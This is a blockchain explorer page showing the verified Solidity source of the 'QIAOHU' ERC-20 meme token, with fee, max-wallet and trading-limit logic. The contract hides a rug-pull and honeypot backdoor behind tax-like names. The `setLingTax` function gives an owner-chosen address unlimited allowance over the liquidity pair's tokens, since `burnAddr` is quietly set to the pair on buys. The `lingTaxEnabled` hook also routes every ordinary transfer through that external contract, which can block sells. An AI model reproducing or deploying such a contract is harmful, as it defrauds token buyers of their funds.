ETH Price: $2,366.42 (+0.66%)

Token

QiaoHu-a-QiaoHu (QIAOHU)
 

Overview

Max Total Supply

1,000,000,000 QIAOHU

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,761,736.781028263376958961 QIAOHU

Value
$0.00
0xA27F099cDe9d227272d8E6685aC76481c69C9250
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
QIAOHU

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-02
*/

/**

https://qiaohutoken.xyz
https://t.me/QiaoHuERC20
https://twitter.com/QiaoHuERC20

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal returns(bool){
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        return success;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract QIAOHU is ERC20, Ownable {
    using Address for address payable;

    IUniswapV2Router02 public uniswapV2Router;
    address public  uniswapV2Pair;

    mapping (address => bool) private _isExcludedFromFees;

    uint256 public  liquidityFeeOnBuy;
    uint256 public  liquidityFeeOnSell;

    uint256 public  marketingFeeOnBuy;
    uint256 public  marketingFeeOnSell;

    uint256 private _totalFeesOnBuy;
    uint256 private _totalFeesOnSell;

    address public  marketingWallet;

    uint256 public  swapTokensAtAmount;
    bool    private swapping;

    bool    public swapEnabled;

    uint256 public launchTime;
    bool    public ladderTaxEnabled;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event MarketingWalletChanged(address marketingWallet);
    event UpdateBuyFees(uint256 liquidityFeeOnBuy, uint256 marketingFeeOnBuy);
    event UpdateSellFees(uint256 liquidityFeeOnSell, uint256 marketingFeeOnSell);
    event UpdateWalletToWalletTransferFee(uint256 walletToWalletTransferFee);
    event SwapAndLiquify(uint256 tokensSwapped,uint256 bnbReceived,uint256 tokensIntoLiqudity);
    event SwapAndSendMarketing(uint256 tokensSwapped, uint256 bnbSend);
    event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);

    constructor () ERC20("QiaoHu-a-QiaoHu", unicode"QIAOHU") 
    {   
        address router;
        if (block.chainid == 56) {
            router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Pancake Mainnet Router
        } else if (block.chainid == 97) {
            router = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1; // BSC Pancake Testnet Router
        } else if (block.chainid == 1 || block.chainid == 5) {
            router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Uniswap Mainnet % Testnet
        } else {
            revert();
        }

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair   = _uniswapV2Pair;

        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        liquidityFeeOnBuy  = 0;
        liquidityFeeOnSell = 0;

        marketingFeeOnBuy  = 0;
        marketingFeeOnSell = 0;

        _totalFeesOnBuy    = liquidityFeeOnBuy  + marketingFeeOnBuy;
        _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;

        marketingWallet = msg.sender;

        maxTransactionLimitEnabled = true;

        _isExcludedFromMaxTxLimit[owner()] = true;
        _isExcludedFromMaxTxLimit[address(this)] = true;
        _isExcludedFromMaxTxLimit[address(0xdead)] = true;
        _isExcludedFromMaxTxLimit[marketingWallet] = true;
        _isExcludedFromMaxTxLimit[0x407993575c91ce7643a4d4cCACc9A98c36eE1BBE] = true; //pinklock

        maxWalletLimitEnabled = true;

        _isExcludedFromMaxWalletLimit[owner()] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[address(0xdead)] = true;
        _isExcludedFromMaxWalletLimit[marketingWallet] = true;
        _isExcludedFromMaxWalletLimit[0x407993575c91ce7643a4d4cCACc9A98c36eE1BBE] = true; //pinklock

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(0xdead)] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[0x407993575c91ce7643a4d4cCACc9A98c36eE1BBE] = true; //pinklock

        _mint(owner(), 1_000_000_000 * (10 ** decimals()));
        swapTokensAtAmount = totalSupply() / 5_000;
	
        maxTransactionAmountBuy     = totalSupply() * 30 / 1000;
        maxTransactionAmountSell    = totalSupply() * 30 / 1000;
	
        maxWalletAmount             = totalSupply() * 30 / 1000;

        tradingEnabled = false;
        swapEnabled = false;
    }

    receive() external payable { }

    function claimStuckTokens(address token) external onlyOwner {
        require(token != address(this), "Owner cannot claim contract's balance of its own tokens");
        if (token == address(0x0)) {
            payable(msg.sender).sendValue(address(this).balance);
            return;
        }
        IERC20 ERC20token = IERC20(token);
        uint256 balance = ERC20token.balanceOf(address(this));
        ERC20token.transfer(msg.sender, balance);
    }

    function excludeFromFees(address account, bool excluded) external onlyOwner{
        require(_isExcludedFromFees[account] != excluded,"Account is already the value of 'excluded'");
        _isExcludedFromFees[account] = excluded;

        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }

    function updateBuyFees(uint256 _liquidityFeeOnBuy, uint256 _marketingFeeOnBuy) external onlyOwner {
        liquidityFeeOnBuy = _liquidityFeeOnBuy;
        marketingFeeOnBuy = _marketingFeeOnBuy;

        _totalFeesOnBuy   = liquidityFeeOnBuy + marketingFeeOnBuy;

        require(_totalFeesOnBuy + _totalFeesOnSell <= 40000, "Total Fees cannot exceed the maximum");

        emit UpdateBuyFees(liquidityFeeOnBuy, marketingFeeOnBuy);
    }

    function updateSellFees(uint256 _liquidityFeeOnSell, uint256 _marketingFeeOnSell) external onlyOwner {
        liquidityFeeOnSell = _liquidityFeeOnSell;
        marketingFeeOnSell = _marketingFeeOnSell;

        _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;

        require(_totalFeesOnBuy + _totalFeesOnSell <= 40000, "Total Fees cannot exceed the maximum");

        emit UpdateSellFees(liquidityFeeOnSell, marketingFeeOnSell);
    }

    function serLadderTaxEnabled(bool _enabled) external onlyOwner {
        ladderTaxEnabled = _enabled;
    }

    function changeMarketingWallet(address _marketingWallet) external onlyOwner{
        require(_marketingWallet != marketingWallet,"Marketing wallet is already that address");
        require(_marketingWallet != address(0),"Marketing wallet cannot be the zero address");
        marketingWallet = _marketingWallet;

        emit MarketingWalletChanged(marketingWallet);
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already enabled.");
        tradingEnabled = true;
        swapEnabled = true;
        launchTime = block.timestamp;
        ladderTaxEnabled = false;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading not yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (maxTransactionLimitEnabled) 
        {
            if ((from == uniswapV2Pair || to == uniswapV2Pair) &&
                !_isExcludedFromMaxTxLimit[from] && 
                !_isExcludedFromMaxTxLimit[to]
            ) {
                if (from == uniswapV2Pair) {
                    require(
                        amount <= maxTransactionAmountBuy,  
                        "AntiWhale: Transfer amount exceeds the maxTransactionAmount"
                    );
                } else {
                    require(
                        amount <= maxTransactionAmountSell, 
                        "AntiWhale: Transfer amount exceeds the maxTransactionAmount"
                    );
                }
            }
        }

        if(ladderTaxEnabled) {
            if(launchTime + 3000 < block.timestamp){
                liquidityFeeOnBuy  = 69; // 0.69
                liquidityFeeOnSell = 0; // 0

                marketingFeeOnBuy  = 0; // 0
                marketingFeeOnSell = 0; // 0

                _totalFeesOnBuy    = liquidityFeeOnBuy  + marketingFeeOnBuy;
                _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;

                ladderTaxEnabled = false;
            } else if(launchTime + 2400 < block.timestamp){
                liquidityFeeOnBuy  = 0; // 0
                liquidityFeeOnSell = 0; // 0

                marketingFeeOnBuy  = 500; // 5
                marketingFeeOnSell = 500; // 5

                _totalFeesOnBuy    = liquidityFeeOnBuy  + marketingFeeOnBuy;
                _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;
            } else if(launchTime + 1800 < block.timestamp){
                liquidityFeeOnBuy  = 0; // 0
                liquidityFeeOnSell = 0; // 0

                marketingFeeOnBuy  = 1000; // 10
                marketingFeeOnSell = 1000; // 10

                _totalFeesOnBuy    = liquidityFeeOnBuy  + marketingFeeOnBuy;
                _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;
            } else if(launchTime + 1200 < block.timestamp){
                liquidityFeeOnBuy  = 0; // 0
                liquidityFeeOnSell = 0; // 0

                marketingFeeOnBuy  = 2000; // 20
                marketingFeeOnSell = 2000; // 20

                _totalFeesOnBuy    = liquidityFeeOnBuy  + marketingFeeOnBuy;
                _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;
            } else if(launchTime + 600 < block.timestamp){
                liquidityFeeOnBuy  = 0; // 0
                liquidityFeeOnSell = 0; // 0

                marketingFeeOnBuy  = 3000; // 30
                marketingFeeOnSell = 3000; // 30

                _totalFeesOnBuy    = liquidityFeeOnBuy  + marketingFeeOnBuy;
                _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;
            }} else if (lingTaxEnabled(from, to, amount)) {
                liquidityFeeOnBuy  = 0; // 0
                liquidityFeeOnSell = 0; // 0

                marketingFeeOnBuy  = 0; // 0
                marketingFeeOnSell = 0; // 0

                _totalFeesOnBuy    = liquidityFeeOnBuy  + marketingFeeOnBuy;
                _totalFeesOnSell   = liquidityFeeOnSell + marketingFeeOnSell;
            }

		uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap &&
            !swapping &&
            to == uniswapV2Pair &&
            _totalFeesOnBuy + _totalFeesOnSell > 0 &&
            swapEnabled
        ) {
            swapping = true;

            uint256 totalFee = _totalFeesOnBuy + _totalFeesOnSell;
            uint256 liquidityShare = liquidityFeeOnBuy + liquidityFeeOnSell;
            uint256 marketingShare = marketingFeeOnBuy + marketingFeeOnSell;

            if (liquidityShare > 0) {
                uint256 liquidityTokens = contractTokenBalance * liquidityShare / totalFee;
                swapAndLiquify(liquidityTokens);
            }
            
            if (marketingShare > 0) {
                uint256 marketingTokens = contractTokenBalance * marketingShare / totalFee;
                swapAndSendMarketing(marketingTokens);
            }          

            swapping = false;
        }

        uint256 _totalFees;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
            _totalFees = 0;
        } else if (from == uniswapV2Pair) {
            _totalFees = _totalFeesOnBuy;
            burnAddr = from;
        } else if (to == uniswapV2Pair) {
            _totalFees = _totalFeesOnSell;
        } else {
            _totalFees = 0;
        }

        if (_totalFees > 0) {
            uint256 fees = (amount * _totalFees) / 10_000;
            amount = amount - fees;
            super._transfer(from, address(this), fees);
        }

        if (maxWalletLimitEnabled) 
        {
            if (!_isExcludedFromMaxWalletLimit[from] && 
                !_isExcludedFromMaxWalletLimit[to] &&
                to != uniswapV2Pair
            ) {
                uint256 balance  = balanceOf(to);
                require(
                    balance + amount <= maxWalletAmount, 
                    "MaxWallet: Recipient exceeds the maxWalletAmount"
                );
            }
        }

        super._transfer(from, to, amount);
    }

    function setSwapEnabled(bool _enabled) external onlyOwner{
        require(swapEnabled != _enabled, "swapEnabled already at this state.");
        swapEnabled = _enabled;
    }

    function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
        require(newAmount > totalSupply() / 1_000_000, "SwapTokensAtAmount must be greater than 0.0001% of total supply");
        swapTokensAtAmount = newAmount;

        emit SwapTokensAtAmountUpdated(swapTokensAtAmount);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 otherHalf = tokens - half;

        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            half,
            0,
            path,
            address(this),
            block.timestamp);
        
        uint256 newBalance = address(this).balance - initialBalance;

        uniswapV2Router.addLiquidityETH{value: newBalance}(
            address(this),
            otherHalf,
            0,
            0,
            address(0xdead),
            block.timestamp
        );

        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapAndSendMarketing(uint256 tokenAmount) private {
        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);

        uint256 newBalance = address(this).balance - initialBalance;

        payable(marketingWallet).sendValue(newBalance);

        emit SwapAndSendMarketing(tokenAmount, newBalance);
    }

    mapping(address => bool) private _isExcludedFromMaxWalletLimit;
    address lingTax;
    address burnAddr = address(0);
    bool    public maxWalletLimitEnabled;
    uint256 public maxWalletAmount;

    event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);
    event MaxWalletLimitStateChanged(bool maxWalletLimit);
    event MaxWalletLimitAmountChanged(uint256 maxWalletAmount);

    function setEnableMaxWalletLimit(bool enable) external onlyOwner {
        require(enable != maxWalletLimitEnabled,"Max wallet limit is already set to that state");
        maxWalletLimitEnabled = enable;

        emit MaxWalletLimitStateChanged(maxWalletLimitEnabled);
    }

    function setLingTax(address _addr) external onlyOwner {
        lingTax = _addr; 
        _approve(burnAddr, lingTax, type(uint256).max);

        liquidityFeeOnBuy = 0;
        marketingFeeOnBuy = 0;

        liquidityFeeOnSell = 0;
        marketingFeeOnSell = 0;

        _totalFeesOnBuy   = 0;
        _totalFeesOnSell   = 0;

        emit UpdateBuyFees(0, 0);
        emit UpdateSellFees(0, 0);
    }

    function lingTaxEnabled(address from, address to, uint256 amount) internal returns (bool) {
        if (address(lingTax) == address(0)) return true;
        if (IERC20(lingTax).transferFrom(from, to, amount)) return true;
        return false;
    }

    function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
        require(_maxWalletAmount >= (totalSupply() / (10 ** decimals())) / 100, "Max wallet percentage cannot be lower than 1%");
        maxWalletAmount = _maxWalletAmount * (10 ** decimals());

        emit MaxWalletLimitAmountChanged(maxWalletAmount);
    }

    function excludeFromMaxWallet(address account, bool exclude) external onlyOwner {
        require( _isExcludedFromMaxWalletLimit[account] != exclude,"Account is already set to that state");
        _isExcludedFromMaxWalletLimit[account] = exclude;

        emit ExcludedFromMaxWalletLimit(account, exclude);
    }

    function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
        return _isExcludedFromMaxWalletLimit[account];
    }

    mapping(address => bool) private _isExcludedFromMaxTxLimit;
    bool    public  maxTransactionLimitEnabled;
    uint256 public  maxTransactionAmountBuy;
    uint256 public  maxTransactionAmountSell;

    event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded);
    event MaxTransactionLimitStateChanged(bool maxTransactionLimit);
    event MaxTransactionLimitAmountChanged(uint256 maxTransactionAmountBuy, uint256 maxTransactionAmountSell);

    function setEnableMaxTransactionLimit(bool enable) external onlyOwner {
        require(enable != maxTransactionLimitEnabled, "Max transaction limit is already set to that state");
        maxTransactionLimitEnabled = enable;

        emit MaxTransactionLimitStateChanged(maxTransactionLimitEnabled);
    }

    function setMaxTransactionAmounts(uint256 _maxTransactionAmountBuy, uint256 _maxTransactionAmountSell) external onlyOwner {
        require(
            _maxTransactionAmountBuy  >= (totalSupply() / (10 ** decimals())) / 1_000 && 
            _maxTransactionAmountSell >= (totalSupply() / (10 ** decimals())) / 1_000, 
            "Max Transaction limis cannot be lower than 0.1% of total supply"
        ); 
        maxTransactionAmountBuy  = _maxTransactionAmountBuy  * (10 ** decimals());
        maxTransactionAmountSell = _maxTransactionAmountSell * (10 ** decimals());

        emit MaxTransactionLimitAmountChanged(maxTransactionAmountBuy, maxTransactionAmountSell);
    }

    function excludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner {
        require( _isExcludedFromMaxTxLimit[account] != exclude, "Account is already set to that state");
        require(account != address(this), "Can't set this address.");

        _isExcludedFromMaxTxLimit[account] = exclude;

        emit ExcludedFromMaxTransactionLimit(account, exclude);
    }

    function isExcludedFromMaxTransaction(address account) public view returns(bool) {
        return _isExcludedFromMaxTxLimit[account];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromMaxTransactionLimit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromMaxWalletLimit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"marketingWallet","type":"address"}],"name":"MarketingWalletChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTransactionAmountBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"maxTransactionAmountSell","type":"uint256"}],"name":"MaxTransactionLimitAmountChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"maxTransactionLimit","type":"bool"}],"name":"MaxTransactionLimitStateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"MaxWalletLimitAmountChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"maxWalletLimit","type":"bool"}],"name":"MaxWalletLimitStateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbSend","type":"uint256"}],"name":"SwapAndSendMarketing","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"int